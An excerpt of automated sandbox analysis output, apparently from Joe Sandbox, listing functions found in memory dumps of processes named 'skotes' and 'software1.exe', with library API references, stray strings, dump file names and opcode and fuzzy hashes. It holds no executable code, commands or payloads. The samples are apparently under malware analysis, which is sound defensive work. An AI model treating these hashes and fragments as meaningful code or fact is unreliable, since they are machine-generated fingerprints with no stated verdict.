Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00314877
___except_validate_context_record.LIBVCRUNTIME ref: 0031487F
_ValidateLocalCookies.LIBCMT ref: 00314908
__IsNonwritableInCurrentImage.LIBCMT ref: 00314933
_ValidateLocalCookies.LIBCMT ref: 00314988

Strings

S91, xrefs: 00314925, 0031492E, 0031493F
csm, xrefs: 0031491D

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S91$csm
API String ID: 1170836740-3435351862
Opcode ID: 10276281742495780fc45bee2223aae72cd9eaae68f2c550095e5d0b7fa37e10
Instruction ID: 913993dd30344ad225d53e1940ceafeb14691a818280e371a1140d36c035d3cb
Opcode Fuzzy Hash: 10276281742495780fc45bee2223aae72cd9eaae68f2c550095e5d0b7fa37e10
Instruction Fuzzy Hash: 0D510834A00248DBCF1ADF68D881AEF7BB5AF49324F158055E8189F352D732DE96CB91

Function 002E2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 002E2F5F
__Mtx_unlock.LIBCPMT ref: 002E2FCC
__Cnd_broadcast.LIBCPMT ref: 002E2FE3
__Mtx_unlock.LIBCPMT ref: 002E30F5
__Mtx_unlock.LIBCPMT ref: 002E319B

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 64acc73bd669d268c3a92f5b0fdb8d428bdfeb1609b37730002192743f9d8779
Instruction ID: f79febf0b32b4a03d61d5723d481f8a94d961211f5345fc5f65d54a57b4306d6
Opcode Fuzzy Hash: 64acc73bd669d268c3a92f5b0fdb8d428bdfeb1609b37730002192743f9d8779
Instruction Fuzzy Hash: 4AA1127096024ADFDB10DF66C9487AAF7E8FF15351F508139E906DB241EB31EA24CB91

Function 0031F35F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0031F3A3

Strings

`'4, xrefs: 0031F375
8"4, xrefs: 0031F44B
,m1, xrefs: 0031F367, 0031F49B

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: ,m1$8"4$`'4
API String ID: 3903695350-2664529878
Opcode ID: f6736cafa7679a2b9d3b751cd4c2ff45d840f5bab9805f180b8d2b913347a2f6
Instruction ID: 6eba498a12bca0b4f343af6c18ffe7c17b5d7a7df2dd45612c53ccc1478b3ee3
Opcode Fuzzy Hash: f6736cafa7679a2b9d3b751cd4c2ff45d840f5bab9805f180b8d2b913347a2f6
Instruction Fuzzy Hash: C1318D31600A01DFEB2AAA3AE855BDB73E8EF08352F514829E459DB591DF70ACC1CB11

Function 0031CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0031CC66

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 88448dc60ca007dae58c52a5df2d34f7a23d7cfa44d74b68a1da564fe039a82b
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: ADB156329602959FDB1ACF68C8817FEBFE5EF4D340F15516AD844EB241D6349D82CBA0

Function 002FBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 002FBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 002FBBE4
_xtime_get.LIBCPMT ref: 002FBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 002FBC13

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 70e50b0733863088f2303ec7e28bb7848332a850ab9ba3be2a58926f54effdde
Instruction ID: c8712dd31983a58ad89f0445685fc6a3e07145d964adf35eacca29f66e0e68cc
Opcode Fuzzy Hash: 70e50b0733863088f2303ec7e28bb7848332a850ab9ba3be2a58926f54effdde
Instruction Fuzzy Hash: E2212A71A1010DAFDF05EFA4CD819BEF7B9EF48754F600426FA01A72A1DB20AD119FA0

Function 002EE360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 002EE4F9

Strings

invalid stoi argument, xrefs: 002EE4F4
L14, xrefs: 002EE394

Memory Dump Source

Source File: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000006.00000002.2966847268.00000000002E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966984378.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967300898.0000000000349000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967381283.00000000005FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968539751.00000000005FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968813147.000000000079C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968836845.000000000079E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e0000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: L14$invalid stoi argument
API String ID: 909987262-1941990122
Opcode ID: 1b3ded421bbda630c44f73965c8632f53114888fa85f115a3048745ca7eeef44
Instruction ID: f9733ed16deaf62e1699d6555276e5fdd9a08196f8d28e2c586bfb15ebb57937
Opcode Fuzzy Hash: 1b3ded421bbda630c44f73965c8632f53114888fa85f115a3048745ca7eeef44
Instruction Fuzzy Hash: CBF0F6715503149BC725AB699C0296773ECDB0A710F410835FD149B251DB307810CAA3

Analysis Process: software1.exePID: 7804, Parent PID: 7624COMMON

Executed Functions

Function 00007FFD9B882460 Relevance: 2.4, Strings: 1, Instructions: 1164COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD9B88B6DF

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 894766d848a260e2ee998aed51a90fc312cc4dd85a251a5416e01b4cc5e9ee1a
Instruction ID: a81dfc5f43f88a5efc98005c5f9e3fa23f6bd752d4be554412c978b6375de970
Opcode Fuzzy Hash: 894766d848a260e2ee998aed51a90fc312cc4dd85a251a5416e01b4cc5e9ee1a
Instruction Fuzzy Hash: 50829220F1D90E4BEBA8EB688461A7D72D6EF9C304F524579D02EC72D6DE39AC428741

Function 00007FFD9B881249 Relevance: 2.0, Strings: 1, Instructions: 785COMMON

Download Yara Rule

Strings

SAO_^, xrefs: 00007FFD9B8814E1

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID: SAO_^
API String ID: 0-3650529936
Opcode ID: c84f24a557279190199aa44be669ceb67d8df52ebee71cb27640f57aecbf1ddc
Instruction ID: da3fde8e6be5cc1dd3f580156c1f0da47fa11b3d8f73e80c32972d20a0334507
Opcode Fuzzy Hash: c84f24a557279190199aa44be669ceb67d8df52ebee71cb27640f57aecbf1ddc
Instruction Fuzzy Hash: 9D32D560B29A094FEBA8FB6898756B977D2FF9C300F45057DE01EC32D6DE38A8418341

Function 00007FFD9B881289 Relevance: 1.9, Strings: 1, Instructions: 638COMMON

Download Yara Rule

Strings

SAO_^, xrefs: 00007FFD9B8814E1

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID: SAO_^
API String ID: 0-3650529936
Opcode ID: f8fdaf9a4f2f14101d0238e25db5b1b4897dd02855d8b2ace075990cb34ebeef
Instruction ID: 0303917ca452d8b62577162e61717bdfc41ca91ce1fc4e989c580cd63819884e
Opcode Fuzzy Hash: f8fdaf9a4f2f14101d0238e25db5b1b4897dd02855d8b2ace075990cb34ebeef
Instruction Fuzzy Hash: A212B461B29E494FEBA8FB6898756BC76D2FF9C300F450579E01EC32D6DE38A9418341

Function 00007FFD9B887386 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a48e5add2ba50c31f420ed7f559662e149cba4a9153b8ab63b0a8014bab5746
Instruction ID: aeb44212e9611ff734bab3e1f0fcf768eecb4e93028f980127bc67fb8b8e1a04
Opcode Fuzzy Hash: 9a48e5add2ba50c31f420ed7f559662e149cba4a9153b8ab63b0a8014bab5746
Instruction Fuzzy Hash: ACF1A530A0DA4D8FEBA8DF68D8557E937E1FF58310F04427AD85DC72A5DB34A9418B81

Function 00007FFD9B888132 Relevance: .5, Instructions: 482COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4583d0e7ed8c84d7302702ff8408063b132f48d83238123c1b12f9201126e6a5
Instruction ID: 1d28bf5c9c0f4458b3556e62dea4086c45691971ce246539fd7d04c1b4031bb3
Opcode Fuzzy Hash: 4583d0e7ed8c84d7302702ff8408063b132f48d83238123c1b12f9201126e6a5
Instruction Fuzzy Hash: 2AF1D430A09E4E4FEBA8DF68C8657E937D1FF58310F04426AD85DC72A1DE74A9418B81

Function 00007FFD9B888BE1 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

d, xrefs: 00007FFD9B888C43

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: ca1232bd552a8ac7955d44f62eae3e90e53948188dd960ec8a62ebfdcc7c1a04
Instruction ID: 23c23ef8c2a4c955169450478f3ff69af54a3df57be377a8abbbd00220e86b66
Opcode Fuzzy Hash: ca1232bd552a8ac7955d44f62eae3e90e53948188dd960ec8a62ebfdcc7c1a04
Instruction Fuzzy Hash: C3113331E0A65D4FEB60ABA884192FD7BA1EF58300F02017BC928D71E2DB3C9A418781

Function 00007FFD9B8828E9 Relevance: 1.3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

Strings

SAO_^, xrefs: 00007FFD9B882906

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID: SAO_^
API String ID: 0-3650529936
Opcode ID: 47c28bebc040dd08c986df8fc9554c62bb73ff6aa3979cdea7274f4b09504681
Instruction ID: a42cb5d92529d8159376c5b7cb542e0686cd1ef810f0892cd3b35bcf5151a14e
Opcode Fuzzy Hash: 47c28bebc040dd08c986df8fc9554c62bb73ff6aa3979cdea7274f4b09504681
Instruction Fuzzy Hash: BBF06820F1D95E47E778ABB54831A7D31926FC8760F554578D02D872E7EE3CE9014281

Function 00007FFD9B88A840 Relevance: .6, Instructions: 610COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39ea380a5d53f3c9871d819624b23e14e20f31b39d063a07d20d04786340e7c1
Instruction ID: af62d084aab9a35177baebd0554a2817a6fb3eb76512ea7fb76ff38a0fbe1ae0
Opcode Fuzzy Hash: 39ea380a5d53f3c9871d819624b23e14e20f31b39d063a07d20d04786340e7c1
Instruction Fuzzy Hash: 01514D32B0DB9D1FD762DB789CA55E97BA1EF46320B0601BBC095C71E3EA3868068751

Function 00007FFD9B88A850 Relevance: .6, Instructions: 579COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1df088124f01238138c77456610253dccc995df66b227a8c3e9aab2a8b9d4ca
Instruction ID: 78d9c1e19183f15f583a4e49b11b5d3ce80c9ad32b6c5acd4638434c88a2db55
Opcode Fuzzy Hash: d1df088124f01238138c77456610253dccc995df66b227a8c3e9aab2a8b9d4ca
Instruction Fuzzy Hash: D0514C31B0DA4D4FE765EB7898A55B937E1EF49324F0601BAD069C71D7EE38AC028351

Function 00007FFD9B88A860 Relevance: .6, Instructions: 555COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 300264a6e9ac10c70e12908b17e5da4f2349b70422647a6c8d181c35d765db82
Instruction ID: 95c230adc08fdf8e8147fd3da46f8fde4692c35a8ed885c0f824f3b6b3a013a0
Opcode Fuzzy Hash: 300264a6e9ac10c70e12908b17e5da4f2349b70422647a6c8d181c35d765db82
Instruction Fuzzy Hash: DC416B31B0CA8D4FE765EB3898A46F937E1EF49310F0601B9D069C71D7EE38A8028351

Function 00007FFD9B88A870 Relevance: .5, Instructions: 546COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b9e7fe96d63384a4c99ba5463daef208b01487385f90849af6a8cc9085a9e8c
Instruction ID: 3bd7bbc06280de60d1419a42bfd4aed239631949386f904f4d55c2aee680cf1c
Opcode Fuzzy Hash: 9b9e7fe96d63384a4c99ba5463daef208b01487385f90849af6a8cc9085a9e8c
Instruction Fuzzy Hash: 84416C31B0DE8D4FE765EB3898A56B977E0EF49310F0601B9D069C71D7EE38A8028751

Function 00007FFD9B88A880 Relevance: .5, Instructions: 541COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b686ce9f397e3eb38f3ce689f4b4f7e2502e3b23f123c05e2b83e0b06479d4c1
Instruction ID: d59622d5cdcd117555049fb62ea615fb98b2285f23322a3556f4d5b1f5e79b26
Opcode Fuzzy Hash: b686ce9f397e3eb38f3ce689f4b4f7e2502e3b23f123c05e2b83e0b06479d4c1
Instruction Fuzzy Hash: 84415931B0DA8D4FE765EB389865AB937E1FF4A310F0601B9D069C71D7EE38A8028741

Function 00007FFD9B88A890 Relevance: .5, Instructions: 537COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ae9a7290a8cb66d502b9287c4ff1342a0f0d30bc374c4ec38550859b2be7383
Instruction ID: 7d583d937ae465ab3ea41c6cfe6fc1835a37b2b6097802e906e8689612b4e0dc
Opcode Fuzzy Hash: 2ae9a7290a8cb66d502b9287c4ff1342a0f0d30bc374c4ec38550859b2be7383
Instruction Fuzzy Hash: 39414531B0DA9C4FE764EB3898656B937E1EF4A310F0601BAD069C71D3EE38A8028741

Function 00007FFD9B88A8A0 Relevance: .5, Instructions: 531COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a863295e1b51fe1985f40b6f274d6f31702668967b903a0717b8a752cacae89d
Instruction ID: cdfad10d65cc73d40d4609dde40654c5895d30349433cd899777a6df5a7c7377
Opcode Fuzzy Hash: a863295e1b51fe1985f40b6f274d6f31702668967b903a0717b8a752cacae89d
Instruction Fuzzy Hash: F3312731B0DA5C4FE764EB3898656B97BE1FF4A310F0601BAD059C71D7EE38A8428741

Function 00007FFD9B88A8B0 Relevance: .5, Instructions: 527COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a856fd3f725742107e4c8ff384540e2dcfed0d00e631cb4db16ba055d01aa2
Instruction ID: fa77a3092476b6f14b14a03ebeeb5300ef34711f8498b4dec444f62c20dca248
Opcode Fuzzy Hash: 52a856fd3f725742107e4c8ff384540e2dcfed0d00e631cb4db16ba055d01aa2
Instruction Fuzzy Hash: BD31E631B0DA5C4FEB64EB3898656B97BE5FF4A310F0601BAD059C71D7DA38A8418741

Function 00007FFD9B88A8C8 Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0efed49b2884d0846bd0f29612e0e4697bd4336e907efc27facdf72912af7114
Instruction ID: d966e1d4bbffaa2710097f09512b7a78ee164757fcd0854c1c8d9b7b092be437
Opcode Fuzzy Hash: 0efed49b2884d0846bd0f29612e0e4697bd4336e907efc27facdf72912af7114
Instruction Fuzzy Hash: 7331E231B0C95C4FEBA4EB6898657BD77E6FB89320F160179E01DC32D6DA38A8418781

Function 00007FFD9B8891E5 Relevance: .4, Instructions: 419COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 829d6e1355993cdd6b109f1753743bc260cd11d8a7c6ae68087296dc1fe1ff9d
Instruction ID: 6f971791c839560e1c525543b155e194b716f8e93f46e9107aca02c84166d3d1
Opcode Fuzzy Hash: 829d6e1355993cdd6b109f1753743bc260cd11d8a7c6ae68087296dc1fe1ff9d
Instruction Fuzzy Hash: C7D11831F1D94E4FE768EB6898696B877E1FF48310F4115B9E02DC71E6CE38A9428341

Function 00007FFD9B880E10 Relevance: .4, Instructions: 415COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb44942e6d110dfd3573a6514497cdfdd4a110e81adf2caf4b217e79be7782a0
Instruction ID: 49322a435ed62142fa0cf0765f772b3045097d4ae926b4b20d11e63182d62094
Opcode Fuzzy Hash: bb44942e6d110dfd3573a6514497cdfdd4a110e81adf2caf4b217e79be7782a0
Instruction Fuzzy Hash: 22D1F671B1CE1D8FDB68EB68D4786B877D1FB98310B5601B9D01EC72E6DE34A9418740

Function 00007FFD9B887D46 Relevance: .4, Instructions: 358COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 351b39a1ef37ba6a1a336597246a9312414968e9737bab50f2f14ab493d1927f
Instruction ID: 5a37ae79f2ede542ecb8f0a6b31cb8000607e2ee31654f15ac0e84918f749c04
Opcode Fuzzy Hash: 351b39a1ef37ba6a1a336597246a9312414968e9737bab50f2f14ab493d1927f
